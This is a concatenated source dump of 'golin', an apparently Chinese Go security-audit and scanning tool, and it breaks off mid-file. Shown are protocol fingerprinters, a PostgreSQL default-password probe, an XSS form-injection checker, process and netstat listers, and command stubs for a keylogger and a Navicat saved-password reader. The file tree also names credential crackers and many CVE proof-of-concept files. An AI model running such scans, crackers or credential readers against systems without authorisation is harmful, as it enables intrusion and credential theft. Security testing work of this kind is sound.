├── LICENSE ├── Protocol ├── blackport.go ├── mysql.go ├── redis.go ├── rsysnc.go ├── ssh.go ├── telnet.go ├── web.go ├── web_RuleDatas.go └── xss.go ├── README.md ├── clientinfo ├── cpu.go └── netstat.go ├── cmd ├── cpu.go ├── dirsearch.go ├── keylogger_linux.go ├── keylogger_windows.go ├── linux.go ├── mysql.go ├── navicat.go ├── netstat.go ├── oracle.go ├── pgsql.go ├── redis.go ├── root.go ├── route.go ├── scan.go ├── sqlserver.go ├── update.go ├── user_users.go ├── web.go ├── windows.go └── xshell.go ├── config └── zap.go ├── dirscan ├── StatusCode.go ├── StatusToFile.go ├── parseFlags.go ├── percent.go └── url.txt ├── global ├── CaptureWebScreenshot.go ├── countFiles.go ├── gloabl.go ├── log.go ├── percent.go ├── update.go └── version.go ├── go.mod ├── go.sum ├── images ├── dirsearch.jpg ├── port.jpg ├── vx.jpg ├── web.jpg └── xshell.jpg ├── main.go ├── poc ├── AuthZookeeper.go ├── Spring-CVE-2022-22947.go ├── client.go ├── emlog-default-passwd.go ├── run.go ├── yaml-poc │ ├── poc-yaml-Alibaba-Sentinel-default-user.yaml │ ├── poc-yaml-Apache-APISIX-default-admin.yaml │ ├── poc-yaml-Apache-Druid-unauth.yaml │ ├── poc-yaml-Apache-Solr-Admin-unauth.yaml │ ├── poc-yaml-Apache-storm-unauth.yaml │ ├── poc-yaml-AuthDruidun.yaml │ ├── poc-yaml-AuthSwagger.yaml │ ├── poc-yaml-CNVD-2021-26422.yaml │ ├── poc-yaml-CVE-2024-2620.yaml │ ├── poc-yaml-CVE-2024-28995.yaml │ ├── poc-yaml-Casbin-Directory.yaml │ ├── poc-yaml-Casbin-user-leak.yaml │ ├── poc-yaml-CellinxNVT摄像机-Directory.yaml │ ├── poc-yaml-Crawlab-Diretory.yaml │ ├── poc-yaml-Crocus-Diretory.yaml │ ├── poc-yaml-D-Link-admin-default-password.yaml │ ├── poc-yaml-D-LinkNAS-cmd.yaml │ ├── poc-yaml-DCME-320-Directory.yaml │ ├── poc-yaml-DateEase-default-passwd.yaml │ ├── poc-yaml-Docker-RemoteAPI-leak.yaml │ ├── poc-yaml-Druidun-cve-2021-36749.yaml │ ├── poc-yaml-EAA-Diretory.yaml │ ├── poc-yaml-EOffice-sql.yaml │ ├── poc-yaml-EasyCVR-default-password.yaml │ ├── poc-yaml-EasyCVR-leak.yaml │ ├── poc-yaml-Everything-unauth.yaml │ ├── poc-yaml-Gerapy-admin-default.yaml │ ├── poc-yaml-HIKVISION-leak.yaml │ ├── poc-yaml-HJSOFT-HCM-sql.yaml │ ├── poc-yaml-HiveServer-unauth.yaml │ ├── poc-yaml-Jenkins-unauth.yaml │ ├── poc-yaml-JumpServer-CVE-2023-42442.yaml │ ├── poc-yaml-Juniper-CVE-2023-36845.yaml │ ├── poc-yaml-JupyterLab-unauth.yaml │ ├── poc-yaml-KubePi-createuser.yaml │ ├── poc-yaml-Landray-OA-Diretory.yaml │ ├── poc-yaml-Lightdash-CVE-2023-35844.yaml │ ├── poc-yaml-MinIO-CVE-2023-28432.yaml │ ├── poc-yaml-Mongo-express-unauth.yaml │ ├── poc-yaml-NUUO-cmd.yaml │ ├── poc-yaml-Nacos-CVE-2021-29441.yaml │ ├── poc-yaml-Nacos-admin-default-password.yaml │ ├── poc-yaml-NexusManager-CVE-2024-4956.yaml │ ├── poc-yaml-Node-Exporter-unauth.yaml │ ├── poc-yaml-Node-RED-Diretory.yaml │ ├── poc-yaml-Prometheus-unatuh.yaml │ ├── poc-yaml-Ruijie-CVE-2023-4415.yaml │ ├── poc-yaml-SXF-cmd.yaml │ ├── poc-yaml-SonarQube-auth.yaml │ ├── poc-yaml-SpringActuatorHeapdump.yaml │ ├── poc-yaml-TTX-CMS.yaml │ ├── poc-yaml-TamronOS-IPTV-createuser.yaml │ ├── poc-yaml-TamronOS-cmd.yaml │ ├── poc-yaml-Tencent-leak.yaml │ ├── poc-yaml-Tenda-leak.yaml │ ├── poc-yaml-WIFISKY-admin-default-passwd.yaml │ ├── poc-yaml-WYXY-cmd.yaml │ ├── poc-yaml-XXLJOB-admin-default-passwd.yaml │ ├── poc-yaml-Zabbix-default-passwd.yaml │ ├── poc-yaml-activemq-admin-default-password.yaml │ ├── poc-yaml-bdzdaqpt-Directory.yaml │ ├── poc-yaml-dhcsafxt-Diretory.yaml │ ├── poc-yaml-dhyqgl-userleak.yaml │ ├── poc-yaml-docker-registry-unauth.yaml │ ├── poc-yaml-dubbo-admin-default-password.yaml │ ├── poc-yaml-e-Bridge-sql.yaml │ ├── poc-yaml-fqhl-FE-Diretory.yaml │ ├── poc-yaml-gld-OA-sql.yaml │ ├── poc-yaml-go-pprof-leak.yaml │ ├── poc-yaml-hcjcyjxt-Directory.yaml │ ├── poc-yaml-hikvision-cve-2017-7921.yaml │ ├── poc-yaml-jindir-Directory.yaml │ ├── poc-yaml-jinhe-oa-sql.yaml │ ├── poc-yaml-jshERP-ensitive-information.yaml │ ├── poc-yaml-kibana-unatuh.yaml │ ├── poc-yaml-kibana-unauth.yaml │ ├── poc-yaml-mi-route-Directory.yaml │ ├── poc-yaml-nginxWebUI-runCmd.yaml │ ├── poc-yaml-nps-defaultpasswd.yaml │ ├── poc-yaml-qwza-erp-runcmd.yaml │ ├── poc-yaml-sangfor-Diretory.yaml │ ├── poc-yaml-skzyqyxxgl-Diretory.yaml │ ├── poc-yaml-skzyqyxxgl-sql.yaml │ ├── poc-yaml-springboot-env-unauth.yaml │ ├── poc-yaml-struts-cve_2021_31805.yaml │ ├── poc-yaml-szycms-sql.yaml │ ├── poc-yaml-tdsql-leak.yaml │ ├── poc-yaml-thinkphp-3.x.yaml │ ├── poc-yaml-thinkphp-5.0.23-rce.yaml │ ├── poc-yaml-tongda-sql.yaml │ ├── poc-yaml-tqhm-vpn-Directory.yaml │ ├── poc-yaml-twwy-erp-Directory.yaml │ ├── poc-yaml-wanhuoa-unauth.yaml │ ├── poc-yaml-website-backup-download.yaml │ ├── poc-yaml-wyxy-sql.yaml │ ├── poc-yaml-yongyou-GRP-U8-leak.yaml │ ├── poc-yaml-yongyou-GRP-U8-sql.yaml │ ├── poc-yaml-yongyou-KSOA-sql.yaml │ ├── poc-yaml-yongyou-nc-BshServlet-cmd.yaml │ ├── poc-yaml-yongyou-nc-Directory.yaml │ ├── poc-yaml-yongyou-ydxtgl-leak.yaml │ ├── poc-yaml-yongyou-ydxtgl-sql.yaml │ ├── poc-yaml-yst-Directory.yaml │ ├── poc-yaml-zgyd-route-unauth.yaml │ ├── poc-yuaml-BYTEVALUE -cmd.yaml │ └── yaml-poc-HFS-cmd.yaml └── yaml.go ├── run ├── Mysql.go ├── Mysql_html.go ├── Redis.go ├── Redis_html.go ├── Runssh.go ├── global.go ├── linux.go ├── linux_local.go ├── linux_struct.go ├── navicat │ ├── navicat_linux.go │ └── navicat_windows.go ├── oracle.go ├── oracle_struct.go ├── pgsql.go ├── pgsql_html.go ├── route.go ├── share.go ├── sqlserver.go ├── template │ ├── linux_html.html │ ├── oracle_html.html │ └── styles.css ├── windows │ ├── Screen.go │ ├── auditd.go │ ├── disk.go │ ├── html.go │ ├── iptable.go │ ├── lockcount.go │ ├── mstsc.go │ ├── netstat.go │ ├── osinfo.go │ ├── passwd.go │ ├── patch.go │ ├── regedt.go │ ├── users.go │ └── windows.go └── xshell │ ├── xshell_linux.go │ └── xshell_windows.go ├── scan ├── crack │ ├── def-user-passwd.go │ ├── ftp.go │ ├── mongodb.go │ ├── ms17010.go │ ├── mysql.go │ ├── oracle.go │ ├── password.txt │ ├── pgsql.go │ ├── rdp.go │ ├── rdp_pass.go │ ├── redis.go │ ├── rsync.go │ ├── run.go │ ├── smb.go │ ├── sqlserver.go │ ├── ssh.go │ ├── telnet.go │ └── tomcat.go ├── echo.go ├── exclude.go ├── pareIP.go ├── parsePort.go ├── ping.go ├── protocol.go ├── run.go ├── saveXlsx.go └── scanPort.go └── web ├── cert.go ├── execl.go ├── favicon.ico ├── history.go ├── route.go ├── template ├── dj.html ├── error.html ├── golinHistoryIndex.html ├── golinHome.html ├── index.html └── indexFile.html ├── web.go └── zip.go /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 SelinuxG 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Protocol/blackport.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | var ( 4 | webport = []string{"80", "443", "8000", "8080", "8443", "8888", "9000"} //常见web服务使用的端口,在数据库扫描中跳过 5 | ) 6 | -------------------------------------------------------------------------------- /Protocol/mysql.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | import ( 4 | "fmt" 5 | "golin/global" 6 | "gorm.io/driver/postgres" 7 | "gorm.io/gorm" 8 | "gorm.io/gorm/logger" 9 | "io" 10 | "log" 11 | "net" 12 | "strings" 13 | "time" 14 | ) 15 | 16 | // IsMySqlProtocol 基于数据返回值确实是否未MySQL 17 | func IsMySqlProtocol(host, port string) (bool, string) { 18 | //按照常理来说,端口号小于4位必然不是MySQL 19 | if len(port) < 4 || global.InSlice(webport, port) { 20 | return false, "" 21 | } 22 | 23 | conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", host, port)) 24 | if err != nil { 25 | return false, "" 26 | } 27 | defer conn.Close() 28 | 29 | err = conn.SetReadDeadline(time.Now().Add(3 * time.Second)) 30 | if err != nil { 31 | return false, "" 32 | } 33 | buf := make([]byte, 4) 34 | _, err = conn.Read(buf) 35 | if err != nil { 36 | return false, "" 37 | } 38 | 39 | buf = make([]byte, 1) 40 | _, err = conn.Read(buf) 41 | if err != nil { 42 | return false, "" 43 | } 44 | 45 | if buf[0] != 10 { 46 | //fmt.Println("Not a MySQL server") 47 | return false, "" 48 | } 49 | 50 | buf = make([]byte, 1) 51 | version := "" 52 | for { 53 | _, err = conn.Read(buf) 54 | if err != nil { 55 | return false, "" 56 | } 57 | if buf[0] == 0 { 58 | break 59 | } 60 | version += string(buf) 61 | } 62 | return true, version 63 | 64 | } 65 | 66 | // IsPgsqlProtocol 基于gorm的登录错误消息判断是否为PostgreSQL 67 | func IsPgsqlProtocol(host, port string) bool { 68 | 69 | if !strings.Contains(port, "5432") { 70 | return false 71 | } 72 | 73 | log.SetOutput(io.Discard) 74 | dsn := fmt.Sprintf("host=%s user=%s password=%s dbname=postgres port=%s sslmode=disable TimeZone=Asia/Shanghai connect_timeout=%d", host, "postgres", "123456", port, 3) 75 | _, err := gorm.Open(postgres.Open(dsn), &gorm.Config{ 76 | Logger: logger.Default.LogMode(logger.Silent), // 设置日志级别为 silent 77 | }) 78 | if err != nil { 79 | if strings.Contains(err.Error(), "server error") || strings.Contains(err.Error(), "SQLSTATE") || strings.Contains(err.Error(), "致命错误") { 80 | return true 81 | } 82 | return false 83 | } else { 84 | return true 85 | } 86 | 87 | } 88 | -------------------------------------------------------------------------------- /Protocol/redis.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | // IsRedisProtocol Redis 协议识别 12 | func IsRedisProtocol(conn net.Conn) bool { 13 | _ = conn.SetReadDeadline(time.Now().Add(3 * time.Second)) 14 | 15 | // 发送一个 PING 命令 16 | _, err := fmt.Fprintf(conn, "*1\r\n$4\r\nPING\r\n") 17 | if err != nil { 18 | return false 19 | } 20 | 21 | // 读取返回的数据 22 | response, err := readResponse(conn) 23 | if err == nil { 24 | if strings.Contains(response, "NOAUTH") || strings.Contains(response, "PONG") { 25 | return true 26 | } 27 | 28 | } 29 | 30 | return false 31 | 32 | } 33 | 34 | // readResponse 返回第一行字符串以及错误 35 | func readResponse(conn net.Conn) (string, error) { 36 | // 创建一个新的 reader 37 | reader := bufio.NewReader(conn) 38 | 39 | // 读取一行数据 40 | line, err := reader.ReadString('\n') 41 | if err != nil { 42 | return "", err 43 | } 44 | 45 | return line, nil 46 | } 47 | -------------------------------------------------------------------------------- /Protocol/rsysnc.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | import "strings" 4 | 5 | // IsRsyncProtocol Rsync 协议识别 6 | func IsRsyncProtocol(line string) bool { 7 | return strings.HasPrefix(line, "@RSYNCD") 8 | } 9 | -------------------------------------------------------------------------------- /Protocol/ssh.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | const sshPrefix = "SSH-" 9 | 10 | // IsSSHProtocol SSH 协议识别 11 | func IsSSHProtocol(line string) bool { 12 | return strings.HasPrefix(line, sshPrefix) 13 | } 14 | 15 | func IsSSHProtocolApp(str string) string { 16 | str = strings.ReplaceAll(strings.ReplaceAll(str, "\r", ""), "\n", "") 17 | if strings.Contains(str, "Comware") { 18 | return fmt.Sprintf("%-5s|%s", "H3C", str) 19 | } 20 | if strings.Contains(str, "Cisco") { 21 | return fmt.Sprintf("%-5s|%s", "Cisco", str) 22 | } 23 | return str 24 | } 25 | -------------------------------------------------------------------------------- /Protocol/telnet.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | import ( 4 | "bufio" 5 | "io" 6 | "net" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | var ( 12 | tel = []string{"password", "login", "huawei", "telnet", "copyright", "username", "password"} 13 | ) 14 | 15 | func IsTelnet(conn net.Conn) bool { 16 | _ = conn.SetReadDeadline(time.Now().Add(3 * time.Second)) 17 | reader := bufio.NewReader(conn) 18 | data, _ := io.ReadAll(reader) 19 | 20 | for _, v := range tel { 21 | if strings.Contains(strings.ToLower(string(data)), v) { 22 | return true 23 | } 24 | } 25 | 26 | return false 27 | } 28 | -------------------------------------------------------------------------------- /Protocol/xss.go: -------------------------------------------------------------------------------- 1 | package Protocol 2 | 3 | import ( 4 | "bytes" 5 | "github.com/PuerkitoBio/goquery" 6 | "io" 7 | "net/http" 8 | "net/url" 9 | "strings" 10 | ) 11 | 12 | func CheckXss(targetURL string, body []byte) (bool, string) { 13 | foundXSS := false 14 | ply := "" 15 | xssPayloads := []string{ 16 | ``, 17 | ``, 18 | `
`, 19 | `javascript:alert('Golin')`, 20 | ``, 21 | } 22 | 23 | doc, err := goquery.NewDocumentFromReader(bytes.NewReader(body)) 24 | if err != nil { 25 | return false, "" 26 | } 27 | 28 | baseURL, err := url.Parse(targetURL) 29 | if err != nil { 30 | return false, "" 31 | } 32 | 33 | doc.Find("form").Each(func(i int, form *goquery.Selection) { 34 | formAction, _ := form.Attr("action") 35 | formMethod, _ := form.Attr("method") 36 | 37 | if formMethod == "" { 38 | formMethod = "GET" 39 | } 40 | 41 | actionURL, err := url.Parse(formAction) 42 | if err != nil { 43 | return 44 | } 45 | 46 | absURL := baseURL.ResolveReference(actionURL) 47 | 48 | for _, payload := range xssPayloads { 49 | data := url.Values{} 50 | form.Find("input").Each(func(i int, input *goquery.Selection) { 51 | inputName, _ := input.Attr("name") 52 | inputValue, _ := input.Attr("value") 53 | if inputName != "" { 54 | data.Set(inputName, inputValue+payload) 55 | } 56 | }) 57 | 58 | var response *http.Response 59 | if strings.ToUpper(formMethod) == "POST" { 60 | response, err = http.PostForm(absURL.String(), data) 61 | } else { 62 | response, err = http.Get(absURL.String() + "?" + data.Encode()) 63 | } 64 | 65 | if err != nil { 66 | continue 67 | } 68 | 69 | body, err := io.ReadAll(response.Body) 70 | if err != nil { 71 | continue 72 | } 73 | response.Body.Close() 74 | 75 | respDoc, err := goquery.NewDocumentFromReader(strings.NewReader(string(body))) 76 | if err != nil { 77 | continue 78 | } 79 | 80 | xssDetected := false 81 | respDoc.Find("script, img, div").Each(func(i int, s *goquery.Selection) { 82 | if s.Is("script") && strings.Contains(s.Text(), "Golin") { 83 | xssDetected = true 84 | } else { 85 | for _, attr := range []string{"onerror", "onmouseover", "src"} { 86 | attrValue, exists := s.Attr(attr) 87 | if exists && strings.Contains(attrValue, "Golin") { 88 | xssDetected = true 89 | break 90 | } 91 | } 92 | } 93 | if xssDetected { 94 | foundXSS = true 95 | ply = payload 96 | return 97 | } 98 | }) 99 | 100 | if xssDetected { 101 | break 102 | } 103 | } 104 | }) 105 | 106 | if foundXSS { 107 | return true, ply 108 | } 109 | return false, "" 110 | } 111 | -------------------------------------------------------------------------------- /clientinfo/cpu.go: -------------------------------------------------------------------------------- 1 | // link:d-eyes 2 | 3 | package clientinfo 4 | 5 | import ( 6 | "fmt" 7 | "github.com/gookit/color" 8 | "github.com/shirou/gopsutil/v3/process" 9 | "github.com/spf13/cobra" 10 | "os" 11 | "sort" 12 | "time" 13 | ) 14 | 15 | type Process struct { 16 | Process []*process.Process 17 | } 18 | 19 | func CPU(cmd *cobra.Command, args []string) { 20 | 21 | count, _ := cmd.Flags().GetInt("count") 22 | Top(count) 23 | 24 | } 25 | 26 | func Top(count int) { 27 | ps, err := process.Processes() 28 | if err != nil { 29 | fmt.Println(err) 30 | return 31 | } 32 | 33 | sort.Slice( 34 | ps, func(i, j int) bool { 35 | pic, _ := ps[i].CPUPercent() 36 | pjc, _ := ps[j].CPUPercent() 37 | return pic > pjc 38 | }, 39 | ) 40 | pss := Process{Process: ps} 41 | CPUSum := 0 42 | color.Greenp("==============================================================================================\n") 43 | for _, ps := range pss.Process { 44 | pid := os.Getpid() 45 | if pid == int(ps.Pid) { 46 | continue 47 | } 48 | CPUSum++ 49 | color.Greenp("* CPU Top ", CPUSum) 50 | fmt.Println() 51 | _pct, _ := ps.CreateTime() 52 | _pPath, _ := ps.Exe() 53 | _pCpuP, _ := ps.CPUPercent() 54 | startDate := time.Unix(_pct/1000, 0).Format("2006-01-02 15:04:05") 55 | username, _ := ps.Username() 56 | MemPer, _ := ps.MemoryPercent() 57 | fmt.Printf( 58 | "[User]:%s | [Pid]:%d | [Path]:%s | [CPU]:%.2f | [Memory]:%.2f | [Createdtime]:%v \n", 59 | username, ps.Pid, _pPath, _pCpuP, MemPer, startDate, 60 | ) 61 | //network 62 | _ps, _ := ps.Connections() 63 | if len(_ps) == 0 { 64 | fmt.Println("[netstat]: null") 65 | } else { 66 | netSum := 0 67 | 68 | for _, conn := range _ps { 69 | if conn.Family == 1 { 70 | continue 71 | } 72 | netSum++ 73 | fmt.Printf( 74 | "[netstat %d]: %v:%v<->%v:%v(%v)\n", 75 | netSum, conn.Laddr.IP, conn.Laddr.Port, conn.Raddr.IP, conn.Raddr.Port, conn.Status, 76 | ) 77 | } 78 | } 79 | color.Greenp("==============================================================================================\n") 80 | if count != 0 && CPUSum == count { 81 | break 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /clientinfo/netstat.go: -------------------------------------------------------------------------------- 1 | // link:d-eyes 2 | 3 | package clientinfo 4 | 5 | import ( 6 | "bufio" 7 | "fmt" 8 | "github.com/olekukonko/tablewriter" 9 | "github.com/shirou/gopsutil/v3/process" 10 | "github.com/spf13/cobra" 11 | "os" 12 | "strings" 13 | ) 14 | 15 | func Netstat(cmd *cobra.Command, args []string) { 16 | networkData := make([][]string, 0) 17 | var remoteIp []string 18 | ps, err := process.Processes() 19 | if err != nil { 20 | fmt.Println("Error:", err) 21 | return 22 | } 23 | for _, p := range ps { 24 | 25 | pid := os.Getpid() 26 | if pid == int(p.Pid) || p.Pid == 0 { 27 | continue 28 | } 29 | 30 | connList := make([]string, 0) 31 | connection := make([]string, 0) 32 | _pc, _ := p.Connections() 33 | for _, conn := range _pc { 34 | if conn.Family == 1 { 35 | continue 36 | } 37 | c := fmt.Sprintf( 38 | "%v:%v<->%v:%v(%v)\n", 39 | conn.Laddr.IP, conn.Laddr.Port, conn.Raddr.IP, conn.Raddr.Port, conn.Status, 40 | ) 41 | remoteIp = append(remoteIp, conn.Raddr.IP) 42 | 43 | connection = append(connection, c) 44 | } 45 | _pUname, _ := p.Username() 46 | if len(connection) > 0 && _pUname != "" { 47 | network := strings.Join(connection, "") 48 | _exe, _ := p.Exe() 49 | path := StringNewLine(_exe, 25) 50 | username, _ := p.Username() 51 | connList = append(connList, fmt.Sprintf("%v", p.Pid), fmt.Sprintf("%v", username), network, path) 52 | networkData = append(networkData, connList) 53 | } 54 | } 55 | 56 | tableConn := tablewriter.NewWriter(os.Stdout) 57 | tableConn.SetHeader([]string{"pid", "user", "local/remote(TCP Status)", "program name"}) 58 | tableConn.SetBorder(true) 59 | tableConn.SetRowLine(true) 60 | tableConn.AppendBulk(networkData) 61 | tableConn.Render() 62 | remoteIpNew := RemoveRepeatedElement(remoteIp) 63 | 64 | if len(remoteIpNew) > 0 { 65 | if err = WriteSliceToFile(remoteIpNew, "netstat.txt"); err == nil { 66 | fmt.Println("[*] 建立连接IP以写入到netstat.txt文件中...") 67 | } 68 | } 69 | } 70 | 71 | func RemoveRepeatedElement(arr []string) (newArr []string) { 72 | newArr = make([]string, 0) 73 | for i := 0; i < len(arr); i++ { 74 | if arr[i] == "127.0.0.1" || arr[i] == "0.0.0.0" || arr[i] == "::" || arr[i] == "::1" || arr[i] == "" { 75 | continue 76 | } 77 | repeat := false 78 | for j := i + 1; j < len(arr); j++ { 79 | if arr[i] == arr[j] { 80 | repeat = true 81 | break 82 | } 83 | } 84 | if !repeat { 85 | newArr = append(newArr, arr[i]) 86 | } 87 | } 88 | return 89 | } 90 | 91 | func StringNewLine(str string, ln uint8) string { 92 | var sub_str string 93 | res_str := "" 94 | for { 95 | if len(str) < int(ln) { 96 | res_str += str 97 | break 98 | } 99 | sub_str = str[0:ln] 100 | str = str[ln:] 101 | res_str += sub_str + "\n" 102 | } 103 | return res_str 104 | } 105 | 106 | // WriteSliceToFile 将切片中的每个元素写入指定的文件 107 | func WriteSliceToFile(slice []string, filename string) error { 108 | // 打开文件,如果文件不存在则创建,如果文件存在则清空并打开。 109 | file, err := os.Create(filename) 110 | if err != nil { 111 | return fmt.Errorf("创建文件失败: %v", err) 112 | } 113 | defer file.Close() 114 | 115 | // 使用 bufio.NewWriter 创建一个新的 Writer 对象。 116 | writer := bufio.NewWriter(file) 117 | 118 | // 遍历切片,将每个元素写入文件。 119 | for _, item := range slice { 120 | _, err := writer.WriteString(item + "\n") // 在每个元素后添加换行符。 121 | if err != nil { 122 | return fmt.Errorf("写入文件失败: %v", err) 123 | } 124 | } 125 | 126 | // 确保所有缓冲的数据都已写入底层 io.Writer。 127 | if err := writer.Flush(); err != nil { 128 | return fmt.Errorf("刷新到文件失败: %v", err) 129 | } 130 | 131 | return nil 132 | } 133 | -------------------------------------------------------------------------------- /cmd/cpu.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/clientinfo" 6 | ) 7 | 8 | // cpuCmd represents the cpu command 9 | var cpuCmd = &cobra.Command{ 10 | Use: "cpu", 11 | Short: "获取CPU进程信息", 12 | Long: `降序获取CPU进程信息,输出:PID、PATH、`, 13 | Run: clientinfo.CPU, 14 | } 15 | 16 | func init() { 17 | rootCmd.AddCommand(cpuCmd) 18 | cpuCmd.Flags().IntP("count", "c", 5, "降序输出多少个") 19 | } 20 | -------------------------------------------------------------------------------- /cmd/dirsearch.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/dirscan" 6 | ) 7 | 8 | // networkCmd represents the network command 9 | 10 | var dirsearch = &cobra.Command{ 11 | Use: "dirsearch", 12 | Short: "进行网页目录扫描", 13 | Run: dirscan.ParseFlags, 14 | } 15 | 16 | func init() { 17 | rootCmd.AddCommand(dirsearch) 18 | dirsearch.Flags().StringP("url", "u", "", "指定扫描url") 19 | dirsearch.Flags().StringP("proxy", "p", "", "指定代理") 20 | dirsearch.Flags().IntP("chan", "c", 100, "并发数量") 21 | dirsearch.Flags().IntP("timeout", "t", 3, "超时等待时常/s") 22 | dirsearch.Flags().StringP("file", "f", "", "此参数是指定读取的字典(不指定则使用内置字典)") 23 | dirsearch.Flags().StringP("code", "", "200", "此参数是指定状态码,多个按照,分割") 24 | dirsearch.Flags().IntP("wait", "", 0, "此参数是每次访问后等待多长时间") 25 | dirsearch.Flags().StringP("Agent", "", "", "自定义User-Agent") 26 | } 27 | -------------------------------------------------------------------------------- /cmd/keylogger_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package cmd 4 | 5 | import ( 6 | "fmt" 7 | "github.com/spf13/cobra" 8 | ) 9 | 10 | // redisCmd represents the redis command 11 | var keylogger = &cobra.Command{ 12 | Use: "keylogger", 13 | Short: "键盘记录器", 14 | Long: `实时记录键盘输入信息到日志文件中`, 15 | Run: KeyLoggerCmd, 16 | } 17 | 18 | func init() { 19 | rootCmd.AddCommand(keylogger) 20 | } 21 | 22 | func KeyLoggerCmd(cmd *cobra.Command, args []string) { 23 | fmt.Printf("[-] 仅支持Windows操作系统\n") 24 | return 25 | } 26 | -------------------------------------------------------------------------------- /cmd/linux.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/global" 6 | "golin/run" 7 | ) 8 | 9 | // linuxCmd represents the linux command 10 | var linuxCmd = &cobra.Command{ 11 | Use: "linux", 12 | Short: "运行采集Linux安全配置核查功能", 13 | Long: `基于SSH协议远程登录功能,通过多线程的方法批量进行采集`, 14 | Run: run.Linux, 15 | } 16 | 17 | func init() { 18 | rootCmd.AddCommand(linuxCmd) 19 | linuxCmd.Flags().StringP("ip", "i", global.CmdLinuxPath, "此参数是指定待远程采集的IP文件位置") 20 | linuxCmd.Flags().StringP("cmd", "c", "", "此参数是指定待自定义执行的命令文件") 21 | linuxCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 22 | linuxCmd.Flags().StringP("value", "v", "", "此参数是指定执行单个主机") 23 | linuxCmd.Flags().StringP("cmdvalue", "C", "", "此参数是自定义执行命令(比-c优先级高)") 24 | linuxCmd.Flags().BoolP("echo", "e", false, "此参数是控制控制台是否输出结果,默认不进行输出") 25 | linuxCmd.Flags().BoolP("localhost", "l", false, "此参数是控制本机采集的模式") 26 | linuxCmd.Flags().BoolP("sudo", "u", false, "此参数是使用sudo权限执行命令") 27 | } 28 | -------------------------------------------------------------------------------- /cmd/mysql.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/global" 6 | "golin/run" 7 | ) 8 | 9 | // mysqlCmd represents the mysql command 10 | var mysqlCmd = &cobra.Command{ 11 | Use: "mysql", 12 | Short: "运行采集MySql安全配合核查功能", 13 | Long: `基于Mysql远程通过多线程连接执行指定sql语句并记录,连接等待为10秒左右,连不上则断开。`, 14 | Run: run.Mysql, 15 | } 16 | 17 | func init() { 18 | rootCmd.AddCommand(mysqlCmd) 19 | mysqlCmd.Flags().StringP("ip", "i", global.CmdMysqlPath, "此参数是指定待远程采集的IP文件位置") 20 | mysqlCmd.Flags().StringP("spript", "s", global.Split, "此参数是指定IP文件中的分隔字符") 21 | mysqlCmd.Flags().StringP("value", "v", "", "此参数是指定执行单个主机") 22 | mysqlCmd.Flags().StringP("cmd", "c", "", "此参数是自定义执行sql语句") 23 | } 24 | -------------------------------------------------------------------------------- /cmd/navicat.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/run/navicat" 6 | ) 7 | 8 | var NavicatCmd = &cobra.Command{ 9 | Use: "navicat", 10 | Short: "获取本机navicat配置信息", 11 | Long: `基于Software\PremiumSoft注册表读取账号密码等信息`, 12 | Run: navicat.Run, 13 | } 14 | 15 | func init() { 16 | rootCmd.AddCommand(NavicatCmd) 17 | } 18 | -------------------------------------------------------------------------------- /cmd/netstat.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/clientinfo" 6 | ) 7 | 8 | // netstatCmd represents the netstat command 9 | var netstatCmd = &cobra.Command{ 10 | Use: "netstat", 11 | Short: "获取网络连接信息", 12 | Long: `降序获取网络连接信息 比如:pid、local_address、remote_address、status、program_name`, 13 | Run: clientinfo.Netstat, 14 | } 15 | 16 | func init() { 17 | rootCmd.AddCommand(netstatCmd) 18 | } 19 | -------------------------------------------------------------------------------- /cmd/oracle.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "github.com/spf13/cobra" 5 | "golin/global" 6 | "golin/run" 7 | ) 8 | 9 | // linuxCmd represents the linux command 10 | var oracleCmd = &cobra.Command{ 11 | Use: "oracle", 12 | Short: "运行采集oracle安全配置核查功能", 13 | Long: `基于远程登录功能,通过多线程的方法批量进行采集`, 14 | Run: run.Oraclestart, 15 | } 16 | 17 | func init() 